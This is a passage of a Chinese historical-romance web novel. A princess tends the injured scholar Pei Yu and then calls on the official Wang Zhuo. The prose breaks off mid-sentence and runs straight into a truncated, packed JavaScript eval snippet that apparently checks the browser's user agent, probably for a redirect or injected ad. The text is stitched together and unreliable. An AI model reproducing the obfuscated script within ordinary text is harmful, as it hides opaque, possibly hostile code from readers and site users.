裴钰疼得眨了眨眼,到底没敢再说话。
“你知道我是金枝玉叶就好,所以你要听我的。”赵姽婳见他听话,手上的动作也愈发轻柔起来。
夜深人静,她没有再梳发髻,一头青丝随意散落在腰间,弯腰为裴钰上药时,右侧的额发很自然地就打到了裴钰脸上。
裴钰微微向后靠了靠,努力与她保持距离,可她身上那股玫瑰清香还是一个劲儿地往他鼻尖钻。
“傅浩倡大半夜的,这是发的什么疯?”赵姽婳看着这么漂亮的一张脸蛋被打出了血,就觉得莫名的惋惜。
倒是不关情爱,只是对于美的天然欣赏。
“公主,傅世子求见。”一个丫鬟上前禀告。
“不见。驰月,派人给刘大人传个话。就说天子脚下,竟有人敢在我府前持器伤人,他这个京兆尹到底还想不想当了!”赵姽婳说完,又转头看向裴钰:“你放心,我这里有上好的养颜膏。到你考试时,你这张脸一定能恢复如初,而且肯定不会叫你留疤的。”
世间男子大多不像女子一般在意自己的容貌,裴钰也是。是否留疤于他而言,无甚紧要。
可赵姽婳在意,她的未来夫婿可不能破了相,而且人是在她府前伤的,又是因为她才受的伤,她这心里多少有些愧疚。
于是,愧疚的赵姽婳第二日一大早就去了王卓府上做客。
“裴钰此人,臣也有所耳闻,只是他为何不直接向臣投卷,反而要找公主当这个中间人呢?身为读书人,如此行事,未免有失磊落。”
王卓年
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|